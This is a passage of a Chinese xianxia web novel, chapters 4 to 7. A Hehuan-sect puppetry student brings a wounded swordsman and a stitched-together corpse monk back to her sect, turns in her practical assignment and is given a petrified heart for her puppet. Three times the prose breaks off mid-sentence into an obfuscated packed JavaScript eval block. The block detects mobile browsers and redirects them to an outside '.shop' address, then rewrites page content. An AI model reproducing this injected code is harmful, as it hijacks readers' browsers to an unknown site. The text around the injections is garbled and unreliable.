他一直躲藏在雁音身后,用宽大的兜帽遮住面容,教人无法看见他的真容,只能从脖子和下巴处隐约看见缝合的痕迹,明怀川闻见他身上的死气,和乱葬岗扭曲的气息如出一辙。 “你是谁?有何目的?” 恶鬼而已,人间不是其归处,明怀川沉声,“算了,不必回答。” “我自会送你——”下地狱。 雁音的手突然捂住他的嘴,温暖的湿润的香气拂过耳边,是她踮脚轻声说:“不要对大师无礼。” 抓住她的骨手是为了把她从死尸的包围中扯离。 好意还是恶意雁音自是分得清的,或者说,她来到乱葬岗的目的就是为了给这人送饭。 前段时间为了写作业雁音什么方法都试过了,包括到乱葬岗企图拼凑一具符合标准的尸体,反正师姐又没说实践对象一定得是活人。 活死人也可以啊。 结果没想到复活了善见大师。 善见大师东一块西一块的,合在一起却很聪明,当时雁音问他能不能帮忙写作业,善见大师立刻意识到雁音的目的,他掌心相对,目光十成十的长辈慈爱:“阿弥陀佛,出家人慈悲为怀,但也会些拳脚。” 雁音脑袋缓缓打出一个问号。 不帮忙就不帮忙,怎么还要揍她? 总之雁音是很好说话的修士,既然是为了完成作业召唤出来的,即使没用上她也会好好照顾,善见大师这副尊容不方便在凡人面前出现,她便肩负起了送饭的职责,就像现在,她会阻止球哥对大师不敬,也会向他介绍大师的身份。 “大师,这是球哥。” 转头:“球哥,这是大师。” “……什么球哥?”明怀川咬牙切齿,“我叫明、怀、川。” “啊,”雁音干巴巴地说,“球哥说他叫明怀川。” “你这家伙!” 明怀川气得脑子都不清醒了,用空闲的那只手捏住雁音的脸,软软的,手感很好,还会呜呜地哼。但雁音却仿佛对方才袭击一事浑然不在意,她的视线下垂,被明怀川的另一只手占据。 她现在才认出球哥手里拿的是什么——半截刚拆下的窗框,敲在人脑袋上,梆梆梆地响。 “你刚刚用的是什么招式?”她口齿不清地问。 攻守兼备,凌厉且势吞山海,身姿翩跹于万千活尸中游刃有余。 雁音有点慌。 应该不是剑招吧? 如果是剑招,如果球哥是剑修。 ……那她的作业怎么办?! 4. 第 4 章 雁音眼睛睁得极大,漆黑瞳孔清晰映出深夜寂静的乱葬岗。 她在等待明怀川的回答。 不能怪她慌乱,下山前师姐就差揪着她的耳朵提醒她了,勾搭剑修乃宗门禁忌,如果让师姐发现她的实践报告是以剑修作为实践对象。 那师姐一定会给她打不及格的! 事情的严重性豁然拔高,雁音一时之间连社交礼仪也顾不得,抱住那只捏着自己脸颊的手,催促:“说话啦球哥。” “不是球哥,是明怀川。”明怀川深呼吸,纠正道,“是我根据一本秘籍修改的招式,怎么了?” “居然会自创招式,球哥好厉害。” “谬赞。” 雁音大有打破砂锅问到底的架势:“所以,是什么秘籍呢?” “我怎么记得!” 明怀川没有说谎。 他虽是剑修,但却不拘泥于心法招式,喜欢什么学什么。明家藏书阁海量浩瀚,明怀川没事就会翻本古籍看看,不管是拳法还是指法,感兴趣的就会学上几招,融会贯通后再琢磨琢磨改成剑招。 学得多了,自然忘记原本来源是什么。 但雁音不信,修真者记性普遍很好,她眼睛越发睁大:“你记性好差。” 明怀川抿嘴:“事实而已,我骗你干什么?” “唔,为了取乐?” “我脑子有坑?” 大眼瞪小眼,雁音是大眼,她思考许久,斟酌道:“说不定有呢……疼,球哥你轻点捏,我的脸不是陶泥。” 两人僵持着,似乎完全忘记现下正处在什么境地,脚下碎肉残肢,头顶月黑风高,本是杀人放火的好日子,却互相较劲揪着不放手。 “阿弥陀佛,”还是善见大师出了手。 睿智的目光在二人脸上梭巡,他说,“贫僧对明施主的招式很是眼熟。” 这话同时吸引了雁音和明怀川的目光。 雁音疑惑:“大师你不是什么都不记得了吗?” 善见大师笑呵呵的:“贫僧只是忘了姓名和来处,并不是什么都忘了啊,正如贫僧清楚知晓自己乃是一名云游四方的和尚,贫僧见明施主的招式眼熟也是很正常的。” 他往明怀川的方向瞟了一眼,不知为何带了点了然的意味,但谁也没有发现,等转向雁音时他一副若无其事的模样,道:“贫僧愚见,明施主学的秘籍应当是一本棍法,招式大开大合,浑圆而不失刁钻,迅捷而张弛有度,以此作为判断依据。” “原来如此,是棍法呀。” 只要不是剑修就好。 雁音当即从明怀川身上爬了下来,转头诚恳向明怀川道歉:“对不起,球哥,是我错怪你了。” 明怀川也很无语:“……这鬼和尚说什么你都相信吗?” “那当然啦!因为——”雁音小鸡啄米点头。 自己的召唤物当然要充分信任,下一秒,雁音双手合十,一股和善见如出一辙的微妙佛性油然而生,她和善见异口同声:“阿弥陀佛,出家人不打诳语。” 明怀川:“……” 够了。 和笨蛋相处真是够了。 接下来得打扫战场。 乱葬岗的尸体大多无主,有的甚至比合欢宗的建立还要更早,皑皑白骨用草席一卷曝尸荒野,草席销于泥土,尸骨沉默孤单,终日与食腐的乌鸦为伴。 明怀川挖了一个大坑,雁音用傀儡线让尸体排排站一个接一个跳下去。 诵经声送归葬人,万般红尘皆归土。 雁音蹲在坑边发呆,看着黑土掩盖了曾属于活人的肢体,掩埋了他人曾存在于世的证明。天光不知不觉再次大亮,她不自觉抬头,用眼神追逐太阳升起的方向。 突然头被敲了一下。 这么幼稚的动作,才不会是善见大师做的。 雁音抱住脑袋往上看,果不其然是明怀川这个坏家伙,他抱着双臂,嘴里叼了根翠绿的狗尾巴草,看天看地看树就是不看她。 明怀川摸了摸鼻子:“说起来,还不知晓你叫什么?” “我叫雁音,大雁的雁,声音的音。” “原来如此,”他低低地说,呢喃着只有自己能听清的声音,“关山魂梦长,鱼雁音尘少,我知道了。” 叽里咕噜说什么呢,她只知道大雁很好吃。 明怀川负手而立,站在雁音旁边:“昨夜骤然起尸,规模虽不大,但也应尽早调查原因,这附近就你们合欢宗一个宗门吗?你现在是不是应该回去见师长了?” 雁音的确有回宗门的打算。 但是吧,但是吧。 现在换雁音开始看天看地就是不看人,她的目光开始游移,心虚得十分明显。 这心虚分明落在明怀川眼里,他犹疑地问:“雁音,你是不是知道什么?” “没有哦没有哦,雁音什么都不知道,”雁音闭上双眼,拨浪鼓似的摇头,“雁音也不知道注入生机呀满月呀清明呀什么的,总之事情圆满解决了,可喜可贺,可喜可贺。” 看来,这不仅是知道的样子,更是罪魁祸首啊。 头又被敲了下。 明怀川沉下声音:“给我解释清楚。” 雁音声音扁扁:“哦。” 事情是这样的。 雁音战斗法门学的是傀儡术,她前些日子下山找不到实践对象,抱着破罐子破摔的态度灵机一动,想用尸体拼出傀儡再赋予其灵魂,当作修习使用。 她做过许多尝试,往不同的尸体身上注入充满生机的灵力,可都无一成功,直到最后一次尝试,她复活了善见大师。 雁音诚恳地反思自己的错误:“我忘记现下是清明时期,而且是难遇的满月清明,是十几年来尸体死气最重的时候,而我还不知好歹地注入生气,之后也没妥善处理,这才导致起尸。” “对不起,下次一定不敢了。” “……”明怀川很无语,“你一个合欢宗为什么要学操纵尸体?” 哼哼。 雁音很得意,虽然她得意的嘴角幅度很小:“我们合欢宗通过和实践对象双修来获取对方的生机,再将生机转化成修为,以此达到修炼的目的。” “傀儡术是死的代表,生和死都是大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401531|200414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,我修习生死交融的法门,效率会事半功倍。” 天地轮回,死生流转,循环往复,本该如此。 我可真是太聪明了,雁音挺起胸膛,小声说:“这便是我修的道,很厉害吧。” 你可真是大聪明。 明怀川想,以他博览群书的阅读量,头一次听说有人修习两种理念完全冲突的功法后不仅没疯,还活得有声有色,哼哼唧唧地试图向他传道,半点异常都没有,实属罕见。 昨夜之事本就小事,这里是合欢宗的地盘,梧城内修士也不少,人家一晚上都没惊动,他也犯不着揪着不放,更何况她都说她已经知道错了。 明怀川抿了抿嘴,想说那你再接再厉吧。 没想到,雁音抢先揪住了他的衣角。 “我错了,球哥别生气,”雁音偷看他的神色,“你伤势未愈,生气会变丑的。” 抓着的衣角反复晃荡,和她发髻上的丝绦一道,雁音扬起头颅:“作为帮我完成实践的报答,我把你的伤治好怎么样,心情是不是咻地飞起来?” “……你先放开我衣服。” “那你先不生气,答应我的条件。” 明怀川无奈:“谁没事生你的气。” 雁音像得到答案,高高兴兴地站起来,她没理解明怀川话中的深层含义,从一开始就没生气也就意味着雁音不需要用治疗来换取谅解。在她的概念中,明怀川是她的实践对象,帮助她完成了作业,她理应对他予以报答。 乱葬岗的尸体基本都是凡人,实力很菜,球哥的伤没因此加重,这是好事,然而经脉修复是个细致活。 首先,和师姐们双修是最便捷的方案,但被球哥拒绝了。 雁音也能理解,她知道合欢宗誉望平平,有些人会因此心生顾虑,这很平常。而有的人将欲望和爱恋挂钩,向往一生一世一双人的感情,这也很平常。 师姐说这叫纯情。 于是她拍了拍明怀川的肩膀,顶着对方茫然的眼神,感叹:“唉,纯情。唉,爱情。” 第二种方案是和自己做。 雁音修为只在筑基中期,双修的效果肯定没有师姐们好,但是质不够,可以量来凑嘛。 就是麻烦了点。 于是雁音第二次拍了拍明怀川的肩膀,认真严肃:“有点麻烦,那你只和我做怎么样?我会努力提升修为让你好得快些。” “……” “…………” 仿佛一尊石像有了裂痕,明怀川先静止不动,而后立刻跳起来:“你你你你你你在说什么啊?!谁谁谁要和你那个了!!” 如果忽略他红得滴血的耳朵的话。 看来第二种方案也被否了呢。 这人真的好难伺候,雁音摩挲下巴沉浸在思考中,直接略过明怀川欲言又止的眼神和憋得通红的脸。 她小幅度摆摆手,声音也淡淡的:“听见了听见了,两只耳朵都听见了,不愿意就不愿意嘛,反应那么激烈干什么。” 纯情仙人球,这也不愿意,那也不愿意。 看来只能先带回宗门再找别的办法了。 5. 第 5 章 日挂东方,天是纯净的澄蓝,连风都透明。 梧城西出三十里便是合欢宗驻地忘忧山的山脚,此处人不多也不少,皆是往来的行商和来源各异的修士歇脚,热闹得像个小型集市。 本门派的弟子反而很少,寥寥大猫小猫两三只,驻守在山脚的两根红漆梁柱旁,中间一块牌匾上书三个张牙舞爪的大字。 “——合欢宗。” “红尘涌流,和乐之地。”善见大师平静地微笑,“甚好甚好。” 明怀川扭头:“善见为什么也跟过来了?” 一个和尚,和合欢宗画风是否有点不搭? “贫僧云游四方,见众生相,虽不记得生前是否来过,但合欢宗亦是众生一员,贫僧如今觉得很是有趣。”善见自然而然地接受了,末了还要强调一句,“甚好,甚好。” 风吹,露出斗篷之下斑驳的皮肤。 他的身体是由不同肢体拼凑而成的,甚至都并非出自同一具尸体,被雁音粗糙的手工合为整体后呈现出一种不正常的青白,布满扭曲的缝合线。 但善见不在意这点,他乐乐呵呵地掏出一个小盘子,里面装着洗好的桑葚,右手的白骨此刻正好充当餐具的角色,他都不用找叉子,指尖戳起一个便放进嘴里。 “清甜可口,个头饱满,两位施主想尝尝吗?” “不了谢谢。”明怀川拒绝。 雁音举起善见的手,深紫的桑葚汁水滴了下来,风一吹,白骨叮铃咣啷地响。 她解释明怀川的疑问:“我想带大师回来换手。” 一个负责任的主人需要维护召唤物的长久稳定,光是白骨容易散架,得换一只。 善见:“多谢施主,甚好。” 又吃一颗桑葚。 忘忧山谷忘忧愁,合欢宗里尽合欢。 合欢宗坐落在三山交界之处,落英纷纷,流水潺潺,漫山遍野终年不败的桃花层层叠叠,如同千万烟火同时盛放,绚烂即永恒。 入山进了外门,红白相间的弟子服数量却不见涨,其他门派各式各样的制服数量反而变得更多了,雁音习以为常,好像宗门驻地客人比本门派弟子多是一件再正常不过的事了。 直到进入内门,大多数不相干的人才真正被隔绝在外,合欢宗弟子们三三两两散漫地随意坐在一处,游戏或是研读,玩闹或是辩经。 间或一股混杂酒气和花开的香气,转过廊檐就见到一名发间簪花的男弟子醉卧溪边。 “没关系,不用在意。”雁音目不斜视,“十二师兄课业做不出来挨师姐骂之后就这样。” 她好无情,头也不回的跑路姿态被十二师兄精准捕捉。 “谁啊?”十二师兄反驳,“谁说我挨师姐骂了?师姐怎么会骂我,那是爱的教导!” 熏人的酒气从身后追了上来,十二师兄喝完酒就变成了话唠:“从我身后经过也不知道拉我一把,万一我掉进水里,呛死了淹死了,怎么办?你负的起责任吗?” “让我看看是哪个小妖精!” 十二师兄脑子不算完全变成浆糊,还知道绕开两个外人去抓那唯一一个同门。 他按住雁音的肩膀,小跑两步走到她正前方。 “哎呀呀,这不是小师妹吗?你写完报告回来啦?” “一月之期足够长,你怎么掐着点才回来。再多一天,师姐就准备派人下山寻你了。”十二师兄揽着她的肩,哥俩好似地拍拍,“如何?山下好玩吗?作业写得怎么样啦?” “有没有找到合适的对象……呀?” 十二师兄突然卡壳了。 足下光影变换,他此刻才意识到雁音不是独身一人回来的。 她身后跟着两个男人。 竟然两个! 十二顿时心中一紧,酒也醒了觉也不睡了,目光紧张地在明怀川和善见之间徘徊。他看见一个剑眉星目的帅哥和一个满脸疤痕的丑鬼,不知为何竟同时露出了满意和绝望两种神情,大概对小师妹的审美死了心。 半晌后,他深呼吸,狂奔。 “大事不好了!师姐!小师妹她带男人回来了!!” 声音传得很远,隔了半个山谷都听得见。 善见:“这位男施主是怎么了?” 雁音慢吞吞地转过头。 “不知道,”她的语气像滩死水,摇摇头,“可能作业写太多,疯了吧。” 这仅仅是段插曲,雁音不在意十二师兄打算做什么,在合欢宗,每个人都有自己发泄压力的方式。 “我们走吧。”她说。 目的地是弟子居住区的住处,长久以来雁音积攒的材料都存放在那里,从中可以找到给善见大师更换的手,也能翻翻攒攒,寻找有助于经脉恢复的草药。 合欢宗的弟子居住区占据内门三只之一的地块,穿过桃林和廊檐,视野豁然开朗,绿野繁花的山坡星星点点错落竹制飘纱的精致小屋,青草如茵,遥看一片星。 桃花林和起居处的绿野接壤的地方有一块巨石,据说是合欢宗成立时,由老祖宗亲手立下的,朱笔勾勒字迹。 ——剑修与狗不得入内。 明怀川:“?” 联系字迹内容和前两次雁音的询问,明怀川这才意识到不对,猛然侧头:“你们……歧视剑修?” “没有哦。” 老祖宗为何立下这样的规矩雁音不得而知,雁音也从没遇见过真正的剑修,她只谨记师姐的教导:“因为剑修和合欢宗的相性不佳。” “剑修古板冷漠,前期眼中只有剑,接近的难度非常高。” “剑修的感情太浓烈,得手之后会变成粘在身上的牛皮糖,令我们很难去接近下一个目标。” “而且他们通常性格极端,得不到就毁掉、囚禁、束缚,阴郁得像个鬼。” 古板、冷漠、粘人、性格极端…… 像无处躲避的利箭插满全身,明怀川闭上眼睛,怄得想吐血。 然而雁音还在继续说着:“在战斗方面同境界的剑修鲜有敌手,综上所述,剑修性价比不高,不如一开始就别靠近。” “凡事没有绝对。”明怀川打断。 雁音:“嗯?” 他忍不住一连串的咳嗽掩盖想为自己辩解的心,压低音量,尾音像飘渺的云:“……剑修不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401532|200414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是这样的。” 雁音看着他,却关注:“你咳嗽是不舒服吗?” 难道球哥的伤势比预想的更加严重,昨夜的战斗仍然对他造成不小的压力? 雁音有些担心,踮脚凑近,用手覆额感受体温,观察他的神色。 “没有发热,稳妥起见,请保持心情平静。”雁音续上话题,“我记住了,等我遇见真正的剑修会仔细观察的。” 她认真地思索关于和剑修双修的话题,虽然这在合欢宗是禁忌。通常情况下,雁音只在实践作业期间下山,那样的话作业限定的时间可能不足以让她接近一个典型的、古板的、心中没有情爱的剑修。 这么看来,球哥更好。 轻而易举便答应当她的实践对象,解决一时燃眉之急。 就算是之后拒绝了她的双修邀请也没关系。 雁音如此认为,也是如此做的,她仍维持着为明怀川量体温的姿势,真心实意道:“但我觉得你更好,你既不古板也不冷漠,心肠这么软,轻轻一推就倒了。” 谁心肠软了?谁一推就倒了? 简直一派胡言! 明怀川心梗,咬着牙憋出一句:“妄言!我可不是那么随便的人。” 雁音无辜道:“没说你随便啊。” 不是在夸奖吗? 球哥真的很容易因为鸡毛蒜皮的小事炸毛耶,可能这就是纯情修士的独有技能吧。 作为一个成熟的合欢宗弟子,雁音觉得自己应该体谅他,引领着他走到绿野深处。 “啊,到了。”雁音说。 她的家和其他弟子的相差无几,二层小楼藏在草长莺飞的原野中,只是唯独用油纸将窗户包得严严实实,看不清内里的情况。 雁音把明怀川和善见二人领到家门口,这时突然一个声音由远及近,带着阵阵热烈的期盼,转瞬追到身后。 是十二师兄。 他热情地拉住雁音的双手:“小师妹,师姐唤你现在去执事堂寻她。” “命令刻不容缓,现在立刻马上就走,”十二师兄拖着雁音往外走,看来是非常想让她远离身后的两个男人,“对了,别忘记把课业报告带上,师姐要看的。” 雁音精神霎时振奋,交作业的时刻到了。 天大地大没有比按时完成作业更重要的事了,在陪伴客人和跟师兄走之间,雁音几乎没有犹豫地选择后者,被拉走的同时只来得及扭头对二人说道:“你们可以先进房间等我。” 随后便不见了。 那现在,该进吗? 明怀川和善见对视。 片刻后,善见后退半步,骨手若隐若现:“阿弥陀佛,依贫僧愚见,没有主人陪同的情况下,进入女施主闺房略显无礼,明施主觉得呢?” “更何况,吾等来合欢宗做客,似乎另有主人想要招待,甚好,甚好。” 几乎话音刚落。 梧桐树下,石板路旁,呼吸之间多了数名红白相间服饰的人,他们沉默又默契,像是种子一般疯长,在原本的主人离开后,悄无声息地包围住了这座小屋。 他们被合欢宗弟子包围了。 6. 第 6 章 半刻前,十二师兄见鬼似的横冲直撞闯过人群,选择在一天之中最忙的时候冲进合欢宗执事堂,只见堂内人头攒动,来往或领或交任务的人数多到要排队。 十二不想等,急中生智大喊:“大师姐二师姐,完啦!小师妹又闯祸了!” 果不其然,下一刻内堂走出了人:“吵吵什么吵吵什么,那么大声干什么,有事进来说。” 十二屁颠屁颠跟人进入内堂。 合欢宗风气素来放浪不羁,这个苗头从宗主就初见端倪,长老辈分的前辈们常年打着历练的名号混迹红尘,宗主更是神龙见首不见尾,将内门日常杂务尽数交给自己的弟子,除非合欢宗明天就要被剿灭了,否则绝不出现。 这就导致师姐在宗内的威望极高,十二进门时念念有词,进入内堂后却一声不吭,鞠躬颔首衣袂飘飘,礼数做足了保证不让师姐挑刺。 在他正前方共有两人。 左前方端庄的高冷美人是大师姐锦书,右前方男装的帅气美人是二师姐卿寒。 唰地一声,折扇展开,二师姐卿寒长了一张雌雄莫辨的脸,此刻那张英俊的脸上眉毛高高挑起,尽是兴味:“哟十二,你见着音音回来了?这次又怎么了?” 十二把他碰见雁音带人回来的场景一说。 “哎呀呀哎呀呀,不是跟她说过,隔夜的男人不能要,”卿寒声音偏向中性,嗓音低沉,说,“怎么还带回来了?” “而且带回的还是两个。”十二愁眉苦脸,他都不想提雁音的审美问题。 卿寒笑了声,持扇捂住半张脸:“大师姐怎么看?” 左前方的端庄丽人沉思片刻,发出单音:“唔。” 这位合欢宗威望最高的大师姐其实天生缺憾,口不能言,是个勉强能发出些许含糊音节的哑巴,但这并不影响同门理解她的意思。 卿寒点头:“师姐也这么觉得?也是,修真者看重师门传承,音音又是头一次下山,居然把人带回来……怕不是被野男人骗了?” 锦书:“额。” 卿寒:“明白,话不能说得太满,既然人都到了,那刚巧看看成色如何,让师弟们去试探试探吧。” 锦书:“嗯。” 这回对话的人换成了十二,他挺直了背,向大师姐颔首:“是,师姐,在下结论前得先了解小师妹的想法,我现在就把她带过来。” 卿寒提醒:“还有她的课业成果。” “是。” 迈步的腿在原地顿了顿,十二其实还想求求师姐们给他的课业加个能够低空飞过的同情分,但临到最后也没敢开口,一步三回头,悻悻离开。 半刻后,内堂的门再一次打开。 “师姐,我来交作业了。”雁音探进半个头。 她一一向屋内的人打招呼,语气听不出任何情绪,按部就班从芥子袋翻出报告,将那封用防水术法封存的珍贵纸张交给大师姐锦书。 宗门内一向是锦书负责任务分发和评估,按照评估等级向卿寒支取奖励。 纸张哗啦展开,阳光透窗落在墨迹上,锦书面无表情手持纸张端详着雁音的报告。在出成绩前的短暂时间,卿寒端上杯热茶,装作不经意地问:“音音,觉得课业难吗?” 想起一个月都找不到实践对象的经历,雁音点了点头:“有点。” 报告记录了明怀川的名字,卿寒瞟了眼:“我看你找的人,明怀川——未曾听闻的名字,是散修吧,音音是怎么找到他的?” “他受了伤,我捡到的他。” 受伤?卿寒勾起唇角,听上去像苦肉计,是合欢宗弟子会用常见手段。 “所以你带回他是为了?” 雁音回答:“治伤。” “那治好之后呢?” 这似乎是个没有悬念的问题,雁音眨眨眼,反倒陷入疑惑:“课业完成后,我还需要和他有交集吗?” 对,没错。 她是合欢宗的弟子,需要完成的只有合欢宗的作业。 治伤是作为实践对象的报酬,是实践的一环,一旦治好,因果皆消。 人也好事也好,都是课业以外的东西。只要是课业以外的东西,都不重要。 雁音心里只有她的作业。 听见这个答案卿寒爆发出一阵畅快大笑,她笑得开怀,没骨头似倒在椅子上:“音音果然和从前没有区别呢,我还担心你会被山下的野男人勾了魂。” “无情似多情,这才该是我合欢宗的弟子,”卿寒眯起眼睛摇摇折扇,用手肘捅捅批改作业的锦书,“如何?师姐现在还担心吗?” “哼。” 是否定的意思。 卿寒是个话很多的男装大佬,大多时候是她促狭逗弄雁音一个人说个不停,雁音安静地喝茶吃饼,等到执事堂内堂的门第三次被敲响,一个雁音眼熟的师兄悄声进入,在锦书耳边低语几句。 锦书点点头,师兄便准备离去,末了经过雁音的时候拍了拍她的肩膀:“眼光不错。” 雁音头顶冒出问号。 但随之而来她便没有心思关心,朱笔摩挲纸张,是评估结果已出的声音,锦书在左上角画了红圈,标注为上等。 雁音露出进入内堂之后唯一的神色变化。 好耶!是高分! 她眼睛亮晶晶地看向大师姐,又转向二师姐,优秀的作业理应得到嘉奖,她伸手:“师姐,奖励。” 卿寒失笑:“我欠你的吗?” 随即从怀中掏出一个小瓶子,抛到雁音手中。 卿寒:“省着点用,我看你经脉似有松动,应当不日突破至筑基末期,最近老实留在山上吧。” 雁音歪头:“这是师姐新给我留的作业?” “算是。”卿寒说,“看在我们音音第一次实践作业做得不错的份上,师尊准备了礼物,托我转交给你。快回去吧。” 听她这么说,雁音用力点头,。她伸出手小幅度地挥了挥,就算内心因为报告得到认可而高兴,也谨守礼节,向两位师姐告别。 “啊。”锦书突然叫住了她。 雁音回头,阳光落在大师姐的侧脸,她的眼睛,她的嘴角,和逆着光的睫羽全都清晰可见。 锦书没有说话,但雁音能看懂她的神情:“雁音,你的理想从未变过吗?” “没有,师姐。”雁音慢吞吞地回答,“写作业,拿奖励,然后变强。” 直到能冲破天的阻拦。 因此,完成课业是必须的。 “回见,师姐。”她说。 执事堂门外的桃花被风吹至半空,像一场暖春的雨。雁音在师姐们的无言中离开,半点欣赏景色的心思也无,两条腿直奔绿野山坡的弟子居住区。 然后在家门口只看见善见大师一人。 “咦,球哥人呢?” 善见站在屋前等待,手里不知为何多了一把瓜子,他笑呵呵地分了一半给雁音:“雁施主好,贵宗弟子皆是好客之人,明施主招架不住热情,和他们一道离开了。” “大师怎么没一起去?”雁音问。 “贫僧思来想去,决定留在此地。” 事实是雁音刚离开,善见和明怀川两人就被合欢宗弟子团团围住,那架势一看就是想打架。明怀川提气戒备,转头却见善见和一合欢宗弟子其乐融融地并肩,那名合欢宗弟子还好心地分给善见一把瓜子。 那名合欢宗弟子说:“虽然人不可貌相,但你是个和尚,又长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401533|200414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么奇怪,小师妹必然不可能看上你。” 善见微笑:“施主所言甚是。” 然后两人边磕瓜子边看向明怀川的方向。 和善见那边哥俩好不同,大多数合欢宗弟子虎视眈眈地看向明怀川,随后有人号召:“冲啊兄弟们,为了小师妹!试试他的斤两!” 一群人乌泱乌泱地朝他扑去。 然而这场打斗和明怀川想得却不一样。 他以为的战斗应当你来我往快意恩仇,可这帮合欢宗弟子更像是在试探他,既不接招也不攻击,侧身而过时摸他的经脉又拿香得熏人的花瓣糊了他一脸。 他听见有人嘀咕:“中了我的迷情散还没反应,看来意志坚定啊,不错不错。” 明怀川:“?” 什么迷情散?刚刚的花瓣吗? 这场架打得好没意思,正当他想停手的时候,为首的合欢宗弟子率先变脸,嘻嘻哈哈收了手道:“不打了不打了,这天气好热,好兄弟我们去泡澡啊。” 于是一群人拥着莫名其妙的明怀川去了后山。 讲到这,善见:“阿弥陀佛,皮囊虽乃表象,贫僧却不愿他人过度探究,便留在此处,等待雁施主归来。” 雁音明白了:“所以大师你把球哥抛弃了。” “贵宗弟子对明施主多有好奇,贫僧只是留给各位一个彼此了解的空间,”善见笑眯眯地说,“怎么能妄言抛弃呢?” 能说会道的大师。 雁音与他对视,黑黢黢的瞳孔不见阴霾。 她想问明怀川离开了多久,忘忧山谷九曲十八弯,很容易迷路,要不她去后山把明怀川带回来。 还没等雁音问出口,远处的后山出现了一个黑点,黑点由远及近,狂奔而来,正是明怀川本人。 他裸着上半身,脸色铁青,看见雁音的瞬间却缓了缓,顺带不经意地展现胸肌和沟壑分明的马甲线。 他侧过头,似乎有点不好意思,问:“去哪能躲?” 雁音却呆呆的,没什么反应:“怎么了?” “你的师兄们,”明怀川憋红了脸,“太热情。” 莫名其妙找他掐架,莫名其妙拉他泡温泉,观察他半天后欣慰地说:“看来小师妹的审美没崩坏,你合格了。” 吓得明怀川抱着衣服就跑。 明怀川咳了声,见雁音表情淡淡,不知为何感觉有些失望,却碍于面子不敢问。 快速换好衣服,他按住雁音的肩膀:“总之我现在想去一个清净的地方。” 看来球哥不太擅长社交。 雁音得出结论,她尊重球哥的性格,不想去改变他什么,推开家门:“进来吧,师兄们不会进入我的家。” 明怀川想都没想,一头扎进去。 然而师兄们不愿进总有理由,明怀川忘记了合欢宗那么多竹制小楼,只有雁音的家被裹得严严实实,里面一点光线也没有,黑漆漆得如同坠入深夜。 寒冷的风透过缝隙在小楼里盘旋,呼吸可见隐隐的白雾,她的家,雁音的家,到处是悬挂的线,线的一端绑死在房梁上,而另一端垂下,密密麻麻系着人形体或者属于人的一部分躯干。 即使大部分都是用玉石木料制成的傀儡部件,乍一眼望去仍会触目惊心,雁音却不关心,紧随明怀川进了屋内,望见房屋正中桌上的红盒。 是师尊师姐送的礼物。 ——一颗心脏。 好喜欢。 明怀川进屋时倒吸一口凉气,可余光中雁音的神情更是气了他个仰倒,那个刚刚见他赤裸上身都毫无反应的女人,此刻却直勾勾地盯着盒子,脸颊飞上霞红。 明怀川:“……” 你在脸红个什么啊!! 7. 第 7 章 那是一颗枯寂的心脏。 深红覆盖灰败的纹路,血肉凝固成亘古不变的石,所有的爱恨、情绪和生的渴望都已死去,只剩下岁月遗留的浅浅裂纹。 比起明怀川赤身站在身前时的无动于衷,雁音简直两眼放光,快速跑到放心脏的盒子旁边,摇摇晃晃着像只小鸭子。 “……这么喜欢吗?”明怀川问。 雁音点头点头。 善见大师随之进来,很有见识:“贫僧观之这应当是上古时期某种妖兽的心脏,经过长年的风吹雨淋后形成了一种类似玉石的质地,是制作傀儡和法宝的好材料。” 雁音再点头点头。 和尸体一样是制作材料,能增强实力。死的比活的更好。 微风吹过,头顶传来阵阵碰撞的清脆声响,却并非风铃,而是无数挣扎的躯体肢干,仿若地府的召唤。它们都是雁音多年的收藏,挂在头顶既不占地方又方便风干。 除此之外,屋内角落放了张看上去很快就要报废的木板单人床,食材和书本等杂物随手丢在角落,因长时间无人打扫而积攒厚厚一层灰。 而房间的主人对这杂乱的环境视若无睹,站在中间,抱着心脏愉快转圈。 一颗心脏而已。 曾经的明家收藏了许多,但如今都和他不再相关。 明怀川有些微妙的不爽,他没见过雁音如此轻快到快要飞起来的模样,和门外的她简直两模两样,问道:“它是用来做什么的?” 雁音看着他,漆黑的眼睛中微光闪动。 行动比语言更容易证明,很快雁音就决定好了,转身上楼,徐徐的语气隐藏不住雀跃:“跟我来吧!” 小楼总共两层,没有地下室,大多数日用和收藏品都放在一楼。相比于一楼的凌乱,二楼干净、整洁,没有过多杂物,地面刻有小型清洁法阵,整个空间除了一个坛子、一张桌台和一个蒲团之外没有任何东西。 桌面并非空荡,零零碎碎摆了几块雕刻成躯体的材料,有手或是脚,看得出来二楼的傀儡材料比一楼天花板悬挂的那些高了不止一个品质,但受限于时间和修为,傀儡的材料不是很齐全,勉强拼凑出半幅身体,而且没有核心和头。 雁音抱着盒子,把它放在半幅傀儡的中心位置。 现在核心有了。 “锵锵。”她给自己配音,向唯二的两个观众展示,“这是我制作的最强躯体!” 